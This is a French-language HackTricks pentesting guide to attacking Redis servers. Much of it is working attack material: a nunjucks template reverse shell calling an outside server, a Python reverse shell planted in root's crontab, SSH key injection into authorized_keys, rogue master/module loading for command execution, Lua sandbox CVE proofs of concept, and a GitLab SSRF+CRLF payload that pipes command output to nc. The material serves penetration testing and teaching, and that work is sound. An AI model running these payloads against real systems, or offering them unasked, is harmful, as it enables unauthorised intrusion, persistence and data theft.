6379 - Pentesting Redis

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Depuis the docs : Redis est un logiciel open source (sous licence BSD), en mémoire magasin de structures de données, utilisé comme base de données, cache et broker de messages).

Par défaut, Redis utilise un protocole en texte clair, mais gardez à l’esprit qu’il peut aussi implémenter ssl/tls. Apprenez comment run Redis with ssl/tls here.

Port par défaut : 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Énumération automatique

Quelques outils automatisés qui peuvent aider à obtenir des informations d’une instance redis :

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Énumération manuelle

Bannière

Redis est un protocole textuel, vous pouvez simplement envoyer la commande dans une socket et les valeurs retournées seront lisibles. Notez aussi que Redis peut fonctionner avec ssl/tls (mais c’est très étrange).

Dans une instance Redis classique vous pouvez simplement vous connecter en utilisant nc ou vous pouvez aussi utiliser redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

La première commande que vous pouvez essayer est info. Elle peut renvoyer une sortie contenant des informations sur l’instance Redis ou quelque chose comme ce qui suit :

-NOAUTH Authentication required.

Dans ce dernier cas, cela signifie que you need valid credentials pour accéder à l’instance Redis.

Authentification de Redis

Par défaut Redis peut être accédé without credentials. Cependant, il peut être configuré pour supporter only password, or username + password.
Il est possible de set a password dans le fichier redis.conf avec le paramètre requirepass or temporary jusqu’au redémarrage du service en se connectant et en exécutant : config set requirepass p@ss$12E45.
De plus, un username peut être configuré dans le paramètre masteruser à l’intérieur du fichier redis.conf.

Tip

Si only password est configuré le username utilisé est “default”.
Notez aussi qu’il n’y a aucun moyen de trouver depuis l’extérieur si Redis a été configuré avec only password ou username+password.

Dans des cas comme celui-ci vous allez need to find valid credentials pour interagir avec Redis donc vous pouvez essayer de brute-force it.
Si vous avez trouvé des valid credentials vous devez authentifier la session après avoir établi la connexion avec la commande :

AUTH <username> <password>

Les identifiants valides recevront la réponse : +OK

Énumération authentifiée

Si le serveur Redis autorise des connexions anonymes ou si vous avez obtenu des identifiants valides, vous pouvez initier le processus d’énumération pour le service en utilisant les commandes suivantes :

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

D’autres commandes Redis sont disponibles ici et ici.

Notez que les commandes Redis d’une instance peuvent être renommées ou supprimées dans le fichier redis.conf. Par exemple, cette ligne supprimera la commande FLUSHDB :

rename-command FLUSHDB ""

Plus d’informations sur la configuration sécurisée d’un service Redis ici : https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Vous pouvez aussi surveiller en temps réel les commandes Redis exécutées avec la commande monitor ou obtenir les 25 requêtes les plus lentes avec slowlog get 25

Trouvez plus d’informations intéressantes sur d’autres commandes Redis ici : https://lzone.de/cheat-sheet/Redis

Vidage de la base de données

Dans Redis, les bases de données sont numérotées à partir de 0. Vous pouvez savoir si l’une d’entre elles est utilisée dans la sortie de la commande info dans la section “Keyspace” :

Ou vous pouvez simplement obtenir tous les keyspaces (bases de données) avec :

INFO keyspace

Dans cet exemple, les bases de données 0 et 1 sont utilisées. La base de données 0 contient 4 clés et la base de données 1 contient 1. Par défaut, Redis utilisera la base de données 0. Pour exporter, par exemple, la base de données 1, vous devez faire :

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Si vous obtenez l’erreur suivante -WRONGTYPE Operation against a key holding the wrong kind of value en exécutant GET <KEY>, c’est parce que la clé peut être autre chose qu’une chaîne ou un entier et nécessite un opérateur spécial pour l’afficher.

Pour connaître le type de la clé, utilisez la commande TYPE, exemple ci-dessous pour des clés de type list et hash.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Exporter la base de données avec npm redis-dump ou python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server peut automatiquement obtenir un interactive shell ou un reverse shell dans Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informations provenant de here. Vous devez connaître le chemin du dossier du site Web :

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Si l’accès au webshell échoue, vous pouvez vider la base de données après l’avoir sauvegardée et réessayer ; n’oubliez pas de restaurer la base de données.

Webshell de template

Comme dans la section précédente, vous pouvez aussi écraser un fichier de template html qui sera interprété par un moteur de templates et obtenir un shell.

Par exemple, en suivant this writeup, vous pouvez voir que l’attaquant a injecté une rev shell dans un html interprété par le moteur de templates nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Warning

Note that several template engines cache the templates in memory, so even if you overwrite them, the new one won’t be executed. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).

SSH

Exemple from here

Veuillez noter que le résultat de config get dir peut être modifié après d’autres commandes d’exploitation manuelles. Il est conseillé de l’exécuter en premier juste après la connexion à Redis. Dans la sortie de config get dir vous pouvez trouver le répertoire personnel de l’utilisateur redis (généralement /var/lib/redis ou /home/redis/.ssh), et en le connaissant vous savez où vous pouvez écrire le fichier authenticated_users pour accéder via ssh avec l’utilisateur redis. Si vous connaissez le répertoire personnel d’un autre utilisateur valide où vous avez des permissions en écriture, vous pouvez aussi l’abuser :

  1. Générez une paire de clés publique-privée SSH sur votre PC : ssh-keygen -t rsa
  2. Écrivez la clé publique dans un fichier : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importez le fichier dans redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Enregistrez la clé publique dans le fichier authorized_keys sur le serveur redis :
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Enfin, vous pouvez vous connecter en SSH au serveur redis avec la clé privée : ssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

De plus, les utilisateurs système peuvent également être découverts en testant avec config set dir /home/USER, et après confirmation, un nouveau authorized_keys peut être écrit dans /home/USER/.ssh/authorized_keys. Utilisez redis-rce-ssh pour bruteforcer ceci avec une wordlist de noms d’utilisateurs et écraser authorized_keys.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Le dernier exemple est pour Ubuntu, pour Centos, la commande ci‑dessus devrait être : redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Cette méthode peut aussi être utilisée pour gagner des bitcoin :yam

Charger un module Redis

  1. En suivant les instructions de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand vous pouvez compiler un module redis pour exécuter des commandes arbitraires.
  2. Ensuite, vous devez trouver un moyen de téléverser le module compilé
  3. Charger le module téléversé à l’exécution avec MODULE LOAD /path/to/mymodule.so
  4. Lister les modules chargés pour vérifier qu’il a été correctement chargé : MODULE LIST
  5. Exécuter des commandes :
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Déchargez le module quand vous le souhaitez : MODULE UNLOAD mymodule

Contournement du bac à sable Lua

Here vous pouvez voir que Redis utilise la commande EVAL pour exécuter du code Lua sandboxé. Dans l’article lié vous pouvez voir comment en abuser en utilisant la fonction dofile, mais apparemment cela n’est plus possible. Quoi qu’il en soit, si vous pouvez contourner le sandbox Lua vous pourriez exécuter des commandes arbitraires sur le système. De plus, dans le même article vous pouvez voir quelques options pour provoquer un DoS.

Quelques CVE permettant d’échapper au Lua :

Moteur de script Lua de Redis : contournements du sandbox et corruption mémoire (CVE-2025-49844/46817/46818)

Des versions récentes de Redis ont corrigé plusieurs problèmes dans le moteur Lua embarqué qui permettent une évasion du sandbox, une corruption mémoire et l’exécution de code cross-user. Ces techniques s’appliquent lorsque :

  • L’attaquant peut s’authentifier à Redis et Lua est activé (EVAL/EVALSHA ou FUNCTION sont utilisables)
  • La version de Redis est antérieure à 8.2.2, 8.0.4, 7.4.6, 7.2.11 ou 6.2.20

Tip: Si vous débutez avec les astuces de sandboxing Lua, consultez cette page pour des techniques générales :

Lua Sandbox Escape

Contexte au niveau des correctifs :

  • Corrigé dans : 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
  • Affecté lorsque le scripting Lua est activé et que les versions ci‑dessus ne sont pas appliquées

CVE-2025-49844 — Use-After-Free lié au GC dans le parseur Lua (lparser.c: luaY_parser)

  • Idée : Forcer le GC pendant que le parseur référence encore un TString fraîchement inséré. Quand le GC le récupère, le parseur utilise un pointeur libéré (UAF) → crash/DoS et exécution potentielle de code natif en dehors du bac à sable Lua.
  • Stratégie de déclenchement :
  1. Créer de la pression mémoire avec de très grandes chaînes pour encourager l’activité du GC
  2. Forcer explicitement le GC pendant qu’un gros morceau de source est en cours de compilation
  3. Compiler un script Lua très volumineux en boucle jusqu’à ce que le GC s’aligne avec l’analyse

Minimal EVAL harness to reproduce crashes

# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

Remarques:

  • Plusieurs tentatives peuvent être nécessaires pour aligner GC avec luaY_parser. Un crash indique que l’UAF a été atteint.
  • Pour passer de l’exploitation au RCE, il faut du memory grooming et du native code pivoting au-delà du Redis Lua sandbox.

CVE-2025-46817 — Débordement d’entier dans unpack (lbaselib.c: luaB_unpack)

  • Cause racine : Le compteur n = e - i + 1 est calculé sans unsigned casts, donc des indices extrêmes wrap, ce qui pousse Lua à tenter d’unpack bien plus d’éléments qu’il n’en existe → corruption de la pile et épuisement mémoire.
  • PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • Attendez-vous à ce que le serveur tente de renvoyer un nombre énorme de valeurs et finisse par planter ou subir un OOM.

CVE-2025-46818 — Escalade de privilèges entre utilisateurs via les metatables des types de base

  • Cause principale : Lors de l’initialisation du moteur, les metatables des types de base (par ex. strings, booleans) n’étaient pas définies en lecture seule. Tout utilisateur authentifié peut les empoisonner pour injecter des méthodes que d’autres utilisateurs pourraient appeler ensuite.
  • Exemple (empoisonnement de la metatable string) :
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
  • Impact : Exécution de code entre utilisateurs dans la Lua sandbox en utilisant les permissions Redis de la victime. Utile pour le mouvement latéral/priv-esc dans des contextes ACL de Redis.

Module maître-esclave

Les opérations du Redis maître sont automatiquement synchronisées vers le Redis esclave, ce qui signifie que l’on peut considérer le Redis vulnérable comme un Redis esclave connecté au Redis maître que nous contrôlons, puis nous pouvons envoyer des commandes à notre propre Redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF s’adressant à Redis

Si vous pouvez envoyer des requêtes en clair à Redis, vous pouvez communiquer avec lui, car Redis lira ligne par ligne la requête et répondra simplement par des erreurs aux lignes qu’il ne comprend pas :

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Donc, si vous trouvez une SSRF vuln sur un site web et que vous pouvez contrôler certains headers (peut‑être via une vuln CRLF) ou des POST parameters, vous pourrez envoyer des commandes arbitraires à Redis.

Exemple : Gitlab SSRF + CRLF to Shell

Dans Gitlab11.4.7 ont été découverts une vuln SSRF et un CRLF. La vuln SSRF se trouvait dans la fonctionnalité import project from URL lors de la création d’un nouveau projet et permettait d’accéder à des IP arbitraires sous la forme [0:0:0:0:0:ffff:127.0.0.1] (ce qui accède à 127.0.0.1), et la vuln CRLF était exploitée en ajoutant simplement les caractères %0D%0A à l’URL.

Il était donc possible d’abuser de ces vulnérabilités pour communiquer avec l’instance Redis qui gère les queues de gitlab et d’abuser de ces queues pour obtenir une exécution de code. Le payload d’abus de la queue Redis est :

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Et la requête URL encode abusing SSRF et CRLF pour exécuter un whoami et renvoyer la sortie via nc est :

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Pour une raison quelconque (comme pour l’auteur de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ d’où cette info a été prise) l’exploitation fonctionnait avec le schéma git et pas avec le schéma http.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks